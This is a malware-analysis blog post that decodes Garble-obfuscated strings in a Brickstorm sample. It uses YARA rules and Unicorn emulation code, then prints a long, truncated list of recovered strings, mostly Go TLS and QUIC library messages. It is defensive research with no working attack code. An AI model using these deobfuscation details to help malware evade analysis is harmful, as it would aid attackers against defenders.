            <pubDate>Thu, 04 Dec 2025 20:39:02 GMT</pubDate>
            <atom:updated>2025-12-04T20:39:02.303Z</atom:updated>
            <content:encoded><![CDATA[<p>By: Jason Reaves</p><p>From the recent attention to Brickstorm in public reporting, I analyzed the Brickstorm sample listed below that was recently uploaded to Virustotal:</p><pre>90b760ed1d0dcb3ef0f2b6d6195c9d852bcb65eca293578982a8c4b64f51b035</pre><p>This sample was obfuscated via an open-source Golang tool called Garble[4] which was mentioned by Mandiant[1]. Mandiant also released a tool for decoding Garble strings[2] which was based on prior work by OALabs[3].</p><p>A quick note before diving in: I developed my string decoder independently, without first reviewing the work published by Google Threat Intelligence (GTI). Interestingly, my approach ended up aligning closely with their research on similar samples. I want to spotlight the method detailed in GTI’s blog, which takes a deep dive into Garble’s AST transformation code, a technique that offered valuable insight into how the obfuscation operates.</p><p>The strings are mostly stack based although some of the larger ones reside elsewhere and are loaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tBOygD0mb1GkiE6XCNdESw.png" /></figure><p>For harvesting the bytecode sequences I decided to leverage a few possible yara rules which started strict and was relaxed as I continued my work:</p><pre>#good for most<br>#rules = yara.compile(source=&#39;rule urls { strings: $a1 = {48 b8 [8] 48 89 [3] 48 b8 [10-200] 48 [2] 48 [3] 7c ??} condition: all of them }&#39;)<br>rules = yara.compile(source=&#39;rule urls { strings: $a1 = {48 b8 [8] 48 89 [3] [10-400] 48 [2] 48 [3] 7c ??} condition: all of them }&#39;)<br>rules2 = yara.compile(source=&#39;rule urls { strings: $a1 = {48 8d [1-5] c? 44 [6] [10-400] 48 [2] 48 [3] 7c ??} condition: all of them }&#39;)<br></pre><p>After retrieving all the matches and removing possible substrings I can emulate the code:</p><pre>blobs = uniq_blobs<br>out = b&#39;&#39;<br>if True:<br>    STACK=0x9000<br>    code_base = 0x100000<br><br>    for blob in blobs:<br>        mu = Uc(UC_ARCH_X86,UC_MODE_64)<br>        mu.mem_map(code_base, 0x100000)<br>        mu.mem_map(STACK, 4096*10)<br>        #Make sure it ends gracefully<br>        blob = blob.matched_data+b&#39;\x90\x90\x90&#39;<br>        #Debugging<br>        #if binascii.unhexlify(&#39;48b8532f2e5e6d03c6b1488944244048&#39;) in blob:<br>        #    print(&quot;Found it&quot;)<br>        #    print(binascii.hexlify(blob))<br>        mu.mem_write(code_base, b&#39;\x00&#39;*0x100000)<br>        mu.mem_write(STACK, b&#39;\x00&#39;*(4096*10))<br><br>        mu.mem_write(code_base,blob)<br>        #Debugging:<br>        #mu.hook_add(UC_HOOK_BLOCK, hook_block)<br>        #mu.hook_add(UC_HOOK_CODE, hook_code)<br>        mu.reg_write(UC_X86_REG_RSP,STACK+4096)<br>        mu.reg_write(UC_X86_REG_RBP,STACK+4096)<br>        mu.reg_write(UC_X86_REG_ESP,STACK+4096)<br>        mu.reg_write(UC_X86_REG_EBP,STACK+4096)<br>        mu.reg_write(UC_X86_REG_RAX,0)<br>        try:<br>            mu.emu_start(code_base, code_base+len(blob), timeout=10000)<br>        except:<br>            continue<br>        a = mu.mem_read(STACK,4096*10)<br>        a = b&#39;&#39;.join(a.split(b&#39;\x00&#39;))<br>        l = mu.reg_read(UC_X86_REG_RAX)+1<br>        if len(a) &gt; 0:<br>            print(str(a)[-l:])<br>            out += a</pre><p>I noticed afterwords that OALabs also used a hook but they did so to find the next call instruction:</p><pre>    def trace(uc, address, size, user_data):<br>        insn = next(cs.disasm(uc.mem_read(address, size), address))<br>        #print(f&quot;{address:#010x}:\t{insn.mnemonic}\t{insn.op_str}&quot;)<br>        if insn.mnemonic == &#39;call&#39;:<br>            #print(&quot;Ending on a call!&quot;)<br>            uc.emu_stop()</pre><p>I like this approach and will definitely leverage it later, I primarily used hooks for debugging my code in comparison:</p><pre>def hook_block(uc, address, size, user_data):<br>    print(&quot;&gt;&gt;&gt; Tracing basic block at 0x%x, block size = 0x%x&quot; %(address, size))<br><br>def hook_code(uc, address, size, user_data):<br>    print(user_data)<br>    print(uc.reg_read(UC_X86_REG_RCX))<br>    print(&quot;&gt;&gt;&gt; Tracing instruction at 0x%x, instruction size = 0x%x&quot; %(address, size))<br><br>#Debugging:<br>#mu.hook_add(UC_HOOK_BLOCK, hook_block)<br>#mu.hook_add(UC_HOOK_CODE, hook_code)<br></pre><p>This won’t get every single string as some are passed as offsets to the data residing in rodata section for longer pieces. Decoding:</p><pre>Handshake&#39;<br>undefined&#39;<br>invalid perspective&#39;<br>Handshake&#39;<br>0-RTT Protected&#39;<br>unknown packet type: %d&#39;<br>QUIC_GO_LOG_LEVEL&#39;<br>initial RTT set after first measurement&quot;<br>%#x doesn&#39;t fit into 62 bits&quot;<br>invalid varint length&quot;<br>cannot encode %d in %d bytes&quot;<br>value doesn&#39;t fit into 62 bits: &quot;<br>chacha20: wrong key size&#39;<br>chacha20: SetCounter attempted to rollback counter&quot;<br>chacha20: output smaller than input&#39;<br>chacha20: invalid buffer overlap&#39;<br>chacha20: internal error: wrong dst and/or src length&#39;<br>chacha20: wrong HChaCha20 key size&#39;<br>chacha20: wrong HChaCha20 nonce size&#39;<br>GODEBUG sys/cpu: no value specified for &quot;&#39;<br>GODEBUG sys/cpu: value &quot;&#39;<br>&quot; not supported for cpu option &quot;&#39;<br>GODEBUG sys/cpu: unknown cpu feature &quot;&#39;<br>GODEBUG sys/cpu: can not enable &quot;&#39;<br>, missing CPU support\n&#39;<br>GODEBUG sys/cpu: can not disable &quot;&#39;<br>, required CPU feature\n&#39;<br>avx512vbmi&#39;<br>avx512vnniw&#39;<br>avx5124fmaps&#39;<br>avx512vpopcntdq&#39;<br>avx512gfni&quot;<br>avx512vaes&#39;<br>avx512vbmi2&#39;<br>avx512bitalg&#39;<br>avx512bf16&#39;<br>pclmulqdq&#39;<br>poly1305: write to MAC after Sum or Verify&#39;<br>chacha20poly1305: bad nonce length passed to Seal&#39;<br>chacha20poly1305: plaintext too large&#39;<br>chacha20poly1305: bad nonce length passed to Open&quot;<br>chacha20poly1305: ciphertext too large&#39;<br>chacha20poly1305: invalid buffer overlap&quot;<br>chacha20poly1305: invalid buffer overlap&quot;<br>chacha20poly1305: invalid buffer overlap&#39;<br>chacha20poly1305: invalid buffer overlap&quot;<br>20060102150405Z0700&#39;<br>cryptobyte: pending child length %d exceeds %d-byte length prefix&quot;<br>cryptobyte: BuilderContinuation reallocated a fixed-size buffer&quot;<br>cryptobyte: attempted write while child is pending&quot;<br>cryptobyte: length overflow&#39;<br>cryptobyte: Builder is exceeding its fixed-size buffer&#39;<br>bad point length: %d, expected %d&#39;<br>bad input point: low order point&#39;<br>hkdf: entropy limit reached&#39;<br>close notify&#39;<br>unexpected message&#39;<br>bad record MAC&#39;<br>decryption failed&#39;<br>record overflow&#39;<br>decompression failure&#39;<br>handshake failure&#39;<br>bad certificate&#39;<br>unsupported certificate&#39;<br>revoked certificate&#39;<br>expired certificate&#39;<br>unknown certificate&#39;<br>illegal parameter&#39;<br>unknown certificate authority&#39;<br>access denied&#39;<br>error decoding message&#39;<br>error decrypting message&#39;<br>export restriction&#39;<br>protocol version not supported&#39;<br>insufficient security level&quot;<br>internal error&#39;<br>inappropriate fallback&#39;<br>user canceled&#39;<br>unsupported extension&#39;<br>certificate unobtainable&#39;<br>unrecognized name&#39;<br>bad certificate status response&#39;<br>certificate required&#39;<br>no application protocol&#39;<br>GTLS 1.3, server CertificateVerify&quot;<br>_TLS 1.3, client CertificateVerify&#39;<br>tls: no certificates configured&#39;<br>CLIENT_RANDOM&#39;<br>CLIENT_EARLY_TRAFFIC_SECRET&#39;<br>CLIENT_HANDSHAKE_TRAFFIC_SECRET&quot;<br>SERVER_HANDSHAKE_TRAFFIC_SECRET&#39;<br>CLIENT_TRAFFIC_SECRET_0&#39;<br>SERVER_TRAFFIC_SECRET_0&#39;<br>tls: invalid ClientKeyExchange message&#39;<br>tls: invalid ServerKeyExchange message&#39;<br>res binder&#39;<br>c hs traffic&#39;<br>s hs traffic&#39;<br>c ap traffic&#39;<br>s ap traffic&#39;<br>exp master&#39;<br>res master&#39;<br>traffic upd&#39;<br>master secret&#39;<br>key expansion&quot;<br>client finished&quot;<br>server finished&#39;<br>tls: alert(&#39;<br>expected an ECDSA public key, got %T&#39;<br>Ed25519 verification failure&#39;<br>expected an RSA public key, got %T&quot;<br>expected an RSA public key, got %T&#39;<br>internal error: unknown signature type&#39;<br>unsupported signature algorithm: %v&quot;<br>unsupported signature algorithm: %v&#39;<br>tls: Ed25519 public keys are not supported before TLS 1.2&#39;<br>tls: unsupported public key: %T&#39;<br>tls: unsupported certificate: private key is %T, expected *%T&#39;<br>tls: certificate private key (%T) does not implement crypto.Signer&#39;<br>tls: unsupported certificate curve (%s)&#39;<br>tls: certificate RSA key size too small for supported signature algorithms&#39;<br>tls: unsupported certificate key (%T)&quot;<br>tls: peer doesn&#39;t support the certificate custom signature algorithms&quot;<br>tls: internal error: unsupported key (%T)&#39;<br>tls: internal error: wrong nonce length&#39;<br>tls: internal error: wrong nonce length&#39;<br>tls: internal error: wrong nonce length&quot;<br>tls: unable to generate random session ticket key: %v&#39;<br>s %x %x\n&#39;<br>tls: received unexpected handshake message of type %T when waiting for %T&#39;<br>TLS: sequence number wraparound&#39;<br>unknown cipher type&#39;<br>unknown cipher type&#39;<br>unknown cipher type&quot;<br>unsupported SSLv2 handshake received&#39;<br>received record with version %x when expecting version %x&#39;<br>remote error&#39;<br>remote error&#39;<br>tls: too many ignored records&#39;<br>local error&#39;<br>local error&#39;<br>unknown cipher type&#39;<br>tls: handshake message of length %d bytes exceeds maximum of %d bytes&#39;<br>tls: internal error: unexpected renegotiation&#39;<br>tls: unknown Renegotiation value&quot;<br>tls: too many non-advancing records&#39;<br>tls: received unexpected handshake message of type %T&#39;<br>tls: internal error: handshake should have had a result&#39;<br>tls: invalid NextProtos value&#39;<br>tls: NextProtos values too large&#39;<br>tls: no supported versions satisfy MinVersion and MaxVersion&#39;<br>tls: short read from Rand: &quot;<br>tls: short read from Rand: &#39;<br>c e traffic&quot;<br>resumption&#39;<br>tls: server selected unsupported protocol version %x&#39;<br>tls: received unexpected CertificateStatus message&#39;<br>tls: server&#39;s identity changed during renegotiation&quot;<br>tls: failed to write to key log: &#39;<br>tls: server selected unsupported compression format&#39;<br>tls: initial handshake had non-empty renegotiation extension&quot;<br>tls: server advertised unrequested ALPN extension&#39;<br>tls: server resumed a session with a different version&#39;<br>tls: server resumed a session with a different cipher suite&#39;<br>tls: server&#39;s Finished message was incorrect&quot;<br>tls: server selected TLS 1.3 using the legacy version field&#39;<br>tls: server selected an invalid version after a HelloRetryRequest&#39;<br>tls: server sent an incorrect legacy version&#39;<br>tls: server sent a ServerHello extension forbidden in TLS 1.3&quot;<br>tls: server selected unsupported compression format&#39;<br>tls: server changed cipher suite after a HelloRetryRequest&quot;<br>tls: server sent an unnecessary HelloRetryRequest message&quot;<br>tls: received malformed key_share extension&#39;<br>tls: server selected unsupported group&quot;<br>tls: server sent an unnecessary HelloRetryRequest key_share&quot;<br>tls: server sent a cookie in a normal ServerHello&#39;<br>tls: malformed key_share extension&#39;<br>tls: server did not send a key share&#39;<br>tls: server selected unsupported group&#39;<br>tls: server selected an invalid PSK&#39;<br>tls: server selected an invalid PSK and cipher suite pair&#39;<br>tls: invalid server key share&#39;<br>LPN negotiation failed. Server didn\&#39;t offer any protocols&#39;<br>ALPN negotiation failed. Server offered: %q&#39;<br>tls: server advertised unrequested ALPN extension&#39;<br>tls: certificate used with invalid signature algorithm&#39;<br>tls: certificate used with invalid signature algorithm&quot;<br>tls: invalid signature by the server certificate: &#39;<br>tls: invalid server finished hash&#39;<br>tls: failed to sign handshake: &#39;<br>tls: received a session ticket with invalid lifetime&#39;<br>invalid value length: expected %d, got %d&#39;<br>tls: internal error: failed to update binders&#39;<br>tls: negotiated TLS &lt; 1.3 when using QUIC&#39;<br>tls: client offered old TLS version %#x&#39;<br>tls: client offered only unsupported versions: %x&#39;<br>tls: client does not support uncompressed connections&quot;<br>tls: initial handshake had non-empty renegotiation extension&#39;<br>tls: unsupported signing key type (%T)&#39;<br>tls: unsupported decryption key type (%T)&quot;<br>tls: no cipher suite supported by both client and server&#39;<br>tls: client using inappropriate protocol fallback&#39;<br>tls: client certificate used with invalid signature algorithm&#39;<br>tls: invalid signature by the client certificate: &#39;<br>ls: client\&#39;s Finished message is incorrect&#39;<br>tls: failed to parse client certificate: &quot;<br>ls: client didn\&#39;t provide a certificate&#39;<br>tls: failed to verify client certificate: &#39;<br>tls: client certificate contains an unsupported public key of type %T&#39;<br>tls: client used the legacy version field to negotiate TLS 1.3&#39;<br>tls: client using inappropriate protocol fallback&#39;<br>tls: TLS 1.3 client supports illegal compression methods&#39;<br>b&#39;\x1c9\xbfZ8\xf4\xe1\xccWH\x8eUE4\x19\xb4\x85\x87qS%D\xe8\xe6\tH\xb8\xf3&#39;<br>f\xa5#!\xef9 handshake had non-empty renegotiation extension&#39;<br>tls: no cipher suite supported by both client and server&quot;<br>tls: no ECDHE curve supported by both client and server&#39;<br>tls: invalid or missing PSK binders&#39;<br>tls: client sent unexpected early data&#39;<br>resumption&#39;<br>tls: internal error: failed to clone hash&quot;<br>tls: invalid PSK binder&quot;<br>c e traffic&#39;<br>tls: client sent invalid key share in second ClientHello&#39;<br>tls: client indicated early data in second ClientHello&#39;<br>tls: client illegally modified second ClientHello&#39;<br>tls: client offered 0-RTT data in second ClientHello&#39;<br>ALPN negotiation failed. Client offered: %q&#39;<br>tls: failed to sign handshake: &#39;<br>tls: client certificate used with invalid signature algorithm&#39;<br>tls: client certificate used with invalid signature algorithm&#39;<br>tls: invalid signature by the client certificate: &#39;<br>tls: invalid client finished hash&#39;<br>tls: certificate private key does not implement crypto.Decrypter&quot;<br>tls: unexpected ServerKeyExchange&#39;<br>tls: no supported elliptic curves offered&#39;<br>tls: certificate cannot be used with the selected cipher suite&#39;<br>tls: failed to sign ECDHE parameters: &#39;<br>tls: server selected unsupported curve&quot;<br>tls: server selected unsupported curve&#39;<br>tls: certificate used with invalid signature algorithm&#39;<br>tls: invalid signature by the server certificate: &#39;<br>tls: missing ServerKeyExchange message&#39;<br>tls: HKDF-Expand-Label invocation failed unexpectedly&#39;<br>tls: internal error: unsupported curve&#39;<br>unknown version&#39;<br>server finished&#39;<br>master secret&#39;<br>key expansion&#39;<br>crypto/tls: reserved ExportKeyingMaterial label: %s&#39;<br>crypto/tls: ExportKeyingMaterial context too long&#39;<br>tls: internal error: session ticket keys unavailable&#39;<br>tls: failed to create cipher while encrypting ticket: &#39;<br>tls.ConnectionState doesn\&#39;t match&#39;<br>qtls.ClientSessionState doesn&#39;t match&quot;<br>qtls.CertificateRequestInfo doesn&#39;t match&quot;<br>CONNECTION_REFUSED&#39;<br>FLOW_CONTROL_ERROR&#39;<br>STREAM_LIMIT_ERROR&#39;<br>STREAM_STATE_ERROR&#39;<br>INVALID_TOKEN&#39;<br>APPLICATION_ERROR&quot;<br>CRYPTO_BUFFER_EXCEEDED&#39;<br>NO_VIABLE_PATH&#39;<br>CRYPTO_ERROR (%#x)&#39;<br>unknown error code: %#x&#39;<br> (frame type: %#x)&#39;<br>Application error %#x&quot;<br>timeout: handshake did not complete in time&#39;<br>no compatible QUIC version found (we support %s, server offered %s)&quot;<br>received a stateless reset with token %x&#39;<br>unsupported version&#39;<br>invalid first ACK range&#39;<br>invalid packet number length: %d&#39;<br>invalid connection ID length: %d bytes&#39;<br>invalid connection ID length: %d bytes&#39;<br>invalid packet number length: %d&#39;<br>unknown frame type&#39;<br>%s not allowed at encryption level %s&#39;<br>unknown encryption level&#39;<br>not a QUIC packet&#39;<br>{Largest: %d, Smallest: %d}&quot;<br>t%s &amp;wire.MaxDataFrame{MaximumData: %d}&#39;<br>t%s &amp;wire.MaxStreamDataFrame{StreamID: %d, MaximumStreamData: %d}&#39;<br>t%s &amp;wire.DataBlockedFrame{MaximumData: %d}&#39;<br>t%s &amp;wire.StreamDataBlockedFrame{StreamID: %d, MaximumStreamData: %d}&#39;<br>t%s &amp;wire.MaxStreamsFrame{Type: uni, MaxStreamNum: %d}&#39;<br>t%s &amp;wire.MaxStreamsFrame{Type: bidi, MaxStreamNum: %d}&quot;<br>t%s &amp;wire.StreamsBlockedFrame{Type: uni, MaxStreams: %d}&#39;<br>t%s &amp;wire.StreamsBlockedFrame{Type: bidi, MaxStreams: %d}&#39;<br>t%s &amp;wire.NewTokenFrame{Token: %#x}&#39;<br>%d exceeds the maximum stream count&quot;<br>Retire Prior To value (%d) larger than Sequence Number (%d)&#39;<br>invalid connection ID length: %d&#39;<br>invalid connection ID length: %d&#39;<br>token must not be empty&#39;<br>wire.PutStreamFrame called with packet of wrong size!&quot;<br>stream data overflows maximum offset&#39;<br>StreamFrame: attempting to write empty frame without FIN&#39;<br>%d exceeds the maximum stream count&quot;<br>remaining length (%d) smaller than parameter length (%d)&#39;<br>client sent a preferred_address&quot;<br>wrong length for disable_active_migration: %d (expected empty)&quot;<br>client sent a stateless_reset_token&#39;<br>wrong length for stateless_reset_token: %d (expected 16)&quot;<br>client sent an original_destination_connection_id&quot;<br>client sent a retry_source_connection_id&#39;<br>missing original_destination_connection_id&#39;<br>missing initial_source_connection_id&#39;<br>received duplicate transport parameter %#x&#39;<br>invalid connection ID length: %d&quot;<br>expected preferred_address to be %d long, read %d bytes&#39;<br>inconsistent transport parameter length for transport parameter %#x&#39;<br>initial_max_streams_bidi too large: %d (maximum %d)&#39;<br>initial_max_streams_uni too large: %d (maximum %d)&quot;<br>invalid value for max_packet_size: %d (minimum 1200)&#39;<br>invalid value for ack_delay_exponent: %d (maximum %d)&#39;<br>invalid value for max_ack_delay: %dms (maximum %dms)&#39;<br>TransportParameter BUG: transport parameter %d not found&#39;<br>unknown transport parameter marshaling version: %d&#39;<br>RetrySourceConnectionID: %s, &#39;<br>Version Negotiation packet has empty version list&#39;<br>Version Negotiation packet has a version list with an invalid length&quot;<br>operation not permitted&quot;<br>no such process&#39;<br>interrupted system call&#39;<br>input/output error&#39;<br>argument list too long&#39;<br>exec format error&#39;<br>bad file descriptor&#39;<br>no child processes&#39;<br>resource temporarily unavailable&quot;<br>cannot allocate memory&quot;<br>permission denied&#39;<br>bad address&#39;<br>block device required&#39;<br>device or resource busy&#39;<br>file exists&#39;<br>no such device&#39;<br>not a directory&#39;<br>is a directory&#39;<br>too many open files in system&#39;<br>too many open files&#39;<br>inappropriate ioctl for device&quot;<br>text file busy&#39;<br>file too large&#39;<br>no space left on device&#39;<br>illegal seek&#39;<br>read-only file system&#39;<br>too many links&#39;<br>broken pipe&#39;<br>numerical argument out of domain&#39;<br>numerical result out of range&#39;<br>file name too long&quot;<br>no locks available&quot;<br>function not implemented&#39;<br>ENOTEMPTY&#39;<br>directory not empty&#39;<br>too many levels of symbolic links&#39;<br>identifier removed&#39;<br>channel number out of range&#39;<br>level 3 halted&#39;<br>level 3 reset&quot;<br>link number out of range&quot;<br>protocol driver not attached&quot;<br>level 2 halted&#39;<br>exchange full&#39;<br>invalid request code&quot;<br>invalid slot&#39;<br>bad font file format&#39;<br>device not a stream&quot;<br>no data available&#39;<br>timer expired&#39;<br>out of streams resources&#39;<br>machine is not on the network&#39;<br>package not installed&#39;<br>link has been severed&quot;<br>advertise error&#39;<br>srmount error&#39;<br>communication error on send&quot;<br>protocol error&#39;<br>EMULTIHOP&#39;<br>multihop attempted&#39;<br>RFS specific error&#39;<br>bad message&#39;<br>EOVERFLOW&quot;<br>value too large for defined data type&#39;<br>file descriptor in bad state&#39;<br>remote address changed&quot;<br>can not access a needed shared library&#39;<br>accessing a corrupted shared library&#39;<br>.lib section in a.out corrupted&#39;<br>invalid or incomplete multibyte or wide character&#39;<br>interrupted system call should be restarted&#39;<br>too many users&#39;<br>EDESTADDRREQ&#39;<br>destination address required&#39;<br>protocol wrong type for socket&quot;<br>ENOPROTOOPT&#39;<br>protocol not available&#39;<br>EPROTONOSUPPORT&#39;<br>protocol not supported&#39;<br>ESOCKTNOSUPPORT&#39;<br>operation not supported&#39;<br>EPFNOSUPPORT&#39;<br>protocol family not supported&#39;<br>EAFNOSUPPORT&#39;<br>address family not supported by protocol&#39;<br>EADDRINUSE&#39;<br>address already in use&#39;<br>EADDRNOTAVAIL&quot;<br>cannot assign requested address&#39;<br>ENETUNREACH&#39;<br>network is unreachable&#39;<br>ENETRESET&#39;<br>network dropped connection on reset&#39;<br>ECONNABORTED&quot;<br>software caused connection abort&#39;<br>ECONNRESET&#39;<br>connection reset by peer&quot;<br>transport endpoint is already connected&#39;<br>ESHUTDOWN&quot;<br>cannot send after transport endpoint shutdown&#39;<br>ETOOMANYREFS&#39;<br>too many references: cannot splice&#39;<br>ETIMEDOUT&#39;<br>connection timed out&#39;<br>ECONNREFUSED&quot;<br>connection refused&#39;<br>EHOSTDOWN&quot;<br>host is down&#39;<br>EHOSTUNREACH&#39;<br>EINPROGRESS&#39;<br>stale file handle&#39;<br>structure needs cleaning&#39;<br>not a XENIX named type file&#39;<br>no XENIX semaphores available&#39;<br>is a named type file&#39;<br>EREMOTEIO&#39;<br>disk quota exceeded&#39;<br>ENOMEDIUM&#39;<br>no medium found&#39;<br>EMEDIUMTYPE&#39;<br>wrong medium type&#39;<br>ECANCELED&#39;<br>operation canceled&#39;<br>key has expired&#39;<br>EKEYREVOKED&#39;<br>key has been revoked&#39;<br>EKEYREJECTED&#39;<br>key was rejected by service&#39;<br>EOWNERDEAD&#39;<br>owner died&#39;<br>ENOTRECOVERABLE&#39;<br>state not recoverable&#39;<br>operation not possible due to RF-kill&quot;<br>EHWPOISON&#39;<br>memory page has hardware error&#39;<br>interrupt&#39;<br>illegal instruction&#39;<br>trace/breakpoint trap&#39;<br>bus error&#39;<br>floating point exception&#39;<br>user defined signal 1&#39;<br>segmentation fault&quot;<br>user defined signal 2&#39;<br>broken pipe&#39;<br>alarm clock&#39;<br>terminated&#39;<br>SIGSTKFLT&#39;<br>stack fault&#39;<br>child exited&quot;<br>continued&#39;<br>stopped (tty input)&#39;<br>stopped (tty output)&#39;<br>urgent I/O condition&#39;<br>CPU time limit exceeded&#39;<br>file size limit exceeded&quot;<br>SIGVTALRM&#39;<br>virtual timer expired&#39;<br>profiling timer expired&#39;<br>I/O possible&#39;<br>power failure&quot;<br>bad system call&#39;<br>not implemented on &#39;<br>unknown connection type&#39;<br>short message&#39;<br>invalid address&#39;<br>short address&#39;<br>short address&#39;<br>destination unreachable&#39;<br>packet too big&quot;<br>time exceeded&#39;<br>parameter problem&#39;<br>echo request&#39;<br>echo reply&#39;<br>multicast listener query&#39;<br>router solicitation&#39;<br>router advertisement&#39;<br>neighbor solicitation&#39;<br>neighbor advertisement&#39;<br>icmp node information query&#39;<br>icmp node information response&#39;<br>home agent address discovery request message&#39;<br>home agent address discovery reply message&quot;<br>certification path solicitation message&#39;<br>certification path advertisement message&#39;<br>multicast router advertisement&quot;<br>multicast router solicitation&#39;<br>multicast router termination&#39;<br>fmipv6 messages&#39;<br>rpl control message&quot;<br>ilnpv6 locator update message&#39;<br>mpl control message&#39;<br>extended echo request&#39;<br>extended echo reply&#39;<br>invalid connection&#39;<br>missing address&#39;<br>not implemented on &#39;<br>echo reply&#39;<br>destination unreachable&#39;<br>router advertisement&#39;<br>router solicitation&#39;<br>time exceeded&#39;<br>parameter problem&#39;<br>timestamp&#39;<br>timestamp reply&#39;<br>extended echo reply&#39;<br>invalid connection&#39;<br>missing address&#39;<br>nil header&#39;<br>not implemented on &quot;<br>congestion BUG: decreased max datagram size from %d to %d&#39;<br>received packet with unknown encryption level: %s&#39;<br>Cannot drop keys for encryption level %s&#39;<br>unexpected encryption level&#39;<br>tIgnoring all packets below %d.&#39;<br>tQueueing ACK because the first packet should be acknowledged.&#39;<br>tQueueing ACK because packet %d was missing before.&quot;<br>tSetting ACK timer to max ack delay: %s&#39;<br>tQueuing ACK because there&#39;s a new missing packet to report.&quot;<br>Sending ACK because the ACK timer expired.&#39;<br>pto (Initial)&#39;<br>pto (Handshake)&#39;<br>pto (Application Data)&#39;<br>invalid send mode: %d&#39;<br>negative bytes_in_flight&#39;<br>Cannot drop keys for encryption level %s&#39;<br>invalid packet number space&#39;<br>Peer doesn&#39;t await address validation any longer.&quot;<br>received an ACK for skipped packet number: %d (%s)&#39;<br>tnewly acked packets (%d): %d&#39;<br>Canceling loss detection timer. Amplification limited.&#39;<br>Canceling loss detection timer. No packets in flight.&#39;<br>tlost packet %d (reordering threshold)&quot;<br>tsetting loss timer for packet %d (%s) to %s (in %s)&#39;<br>Loss detection alarm fired in loss timer mode. Loss time: %s&#39;<br>Loss detection alarm for %s fired in PTO mode. PTO count: %d&#39;<br>PTO timer in unexpected encryption level: %s&quot;<br>Amplification window limited. Received %d bytes, already sent out %d bytes&#39;<br>Limited by the number of tracked packets: tracking %d packets, maximum %d&#39;<br>Congestion limited: bytes in flight %d, window %d&quot;<br>Max outstanding limited: tracking %d packets, maximum: %d&#39;<br>no frames&#39;<br>packet %d not found in sent packet history&#39;<br>CryptoSetup: keys at this encryption level not yet available&#39;<br>CryptoSetup: keys were already dropped&#39;<br>decryption failed&#39;<br>ClientHello&#39;<br>ServerHello&#39;<br>Certificate&#39;<br>CertificateRequest&#39;<br>CertificateVerify&#39;<br>Received %s message (%d bytes, encryption level: %s)&quot;<br>missing quic_transport_parameters extension&quot;<br>unexpected handshake message: %d&#39;<br>expected handshake message %s to have encryption level %s, has %s&quot;<br>Restoring of transport parameters from session ticket failed: %s&#39;<br>mismatching version. Got %d, expected %d&quot;<br>Unmarshalling transport parameters from session ticket failed: %s&#39;<br>Accepting 0-RTT. Restoring RTT from session ticket: %s&quot;<br>error while handling the handshake message&#39;<br>error while handling the handshake message&quot;<br>Received 0-RTT read key for the client&#39;<br>Installed 0-RTT Read keys (using %s)&#39;<br>Installed Handshake Read keys (using %s)&#39;<br>Installed 1-RTT Read keys (using %s)&#39;<br>unexpected read encryption level&#39;<br>Received 0-RTT write key for the server&#39;<br>Installed 0-RTT Write keys (using %s)&quot;<br>Installed Handshake Write keys (using %s)&#39;<br>Installed 1-RTT Write keys (using %s)&quot;<br>Dropping 0-RTT keys.&#39;<br>unexpected write encryption level&#39;<br>Doing 0-RTT.&#39;<br>Dropping Initial keys.&#39;<br>Dropping Handshake keys.&#39;<br>Dropping 0-RTT keys.&#39;<br>Invalid cipher suite id: %d&quot;<br>error creating new AES cipher: %s&quot;<br>invalid sample size&#39;<br>invalid sample size&#39;<br>quic: HKDF-Expand-Label invocation failed unexpectedly&#39;<br>client in&#39;<br>server in&quot;<br>unexpected Retry integrity tag length: %d&quot;<br>failed to read session ticket revision&#39;<br>unknown session ticket revision: %d&quot;<br>failed to read RTT&#39;<br>unmarshaling transport parameters from session ticket failed: %s&quot;<br>rest when unpacking token: %d&quot;<br>token too short: %d&quot;<br>quic-go token source&#39;<br>Dropping key phase %d ahead of scheduled time. Drop time was: %s&#39;<br>Starting key drop timer to drop key phase %d (in %s)&#39;<br>unknown cipher suite %d&quot;<br>Dropping key phase %d&#39;<br>keys updated too quickly&#39;<br>Peer updated keys to %d&#39;<br>Peer confirmed key update to phase %d&#39;<br>received ACK for key phase %d, but peer didn&#39;t update keys&quot;<br>Initiating key update to key phase %d&#39;<br>received %d bytes for the connection, allowed %d bytes&#39;<br>Increasing receive flow control window for the connection to %d kB&#39;<br>flow controller reset after reading data&#39;<br>received inconsistent final offset for stream %d (old: %d, new: %d bytes)&#39;<br>Increasing receive flow control window for stream %d to %d kB&#39;<br>duplicate stream data&#39;<br>0-RTT rejected&#39;<br>too many open streams&#39;<br>negative packetBuffer refCount&quot;<br>packetBuffer refCount not zero&#39;<br>putPacketBuffer called with packet of wrong size!&#39;<br>Received %d packets after sending CONNECTION_CLOSE. Retransmitting.&quot;<br>Error retransmitting CONNECTION_CLOSE: %s&#39;<br>invalid value for Config.MaxIncomingStreams&#39;<br>retired connection ID %d (highest issued: %d)&#39;<br>received conflicting connection IDs for sequence number %d&#39;<br>received conflicting stateless reset tokens for sequence number %d&#39;<br>expected first connection ID to have sequence number 0&#39;<br>expected first connection ID to have sequence number 0&#39;<br>Activating reading of ECN bits for IPv4 and IPv6.&#39;<br>Activating reading of ECN bits for IPv4.&#39;<br>Activating reading of ECN bits for IPv6.&quot;<br>activating ECN failed for both IPv4 and IPv6&#39;<br>Activating reading of packet info for IPv4 and IPv6.&#39;<br>activating packet info failed for both IPv4 and IPv6&#39;<br>received invalid offset %d on crypto stream, maximum allowed %d&#39;<br>received crypto data after change of encryption level&#39;<br>encryption level changed, but crypto stream has more data to read&quot;<br>received CRYPTO frame with unexpected encryption level: %s&#39;<br>Discarding DATAGRAM frame (%d bytes payload)&#39;<br>stream %d canceled with error code %d&#39;<br>too many gaps in received data&#39;<br>no gap found&#39;<br>no gap found&quot;<br>frame sorter BUG: read position higher than a gap&#39;<br>cannot use different stateless reset keys on the same packet conn&#39;<br>cannot use different tracers on the same packet conn&#39;<br>failed to determine receive buffer size: %w&#39;<br>Conn has receive buffer of %d kiB (wanted: at least %d kiB)&#39;<br>failed to increase receive buffer size: %w&#39;<br>failed to determine receive buffer size: %w&#39;<br>failed to increase receive buffer size (wanted: %d kiB, got %d kiB)&#39;<br>Increased receive buffer size to %d kiB&#39;<br>Not adding connection ID %s, as it already exists.&quot;<br>Adding connection ID %s.&#39;<br>Not adding connection ID %s for a new session, as it already exists.&quot;<br>Adding connection IDs %s and %s for a new session.&#39;<br>Removing connection ID %s after it has been retired.&#39;<br>Replacing session for connection ID %s with a closed session.&quot;<br>Removing connection ID %s for a closed session after it has been retired.&#39;<br>Temporary error reading from conn: %w&#39;<br>error parsing connection ID on packet from %s: %s&quot;<br>received a packet with an unexpected connection ID 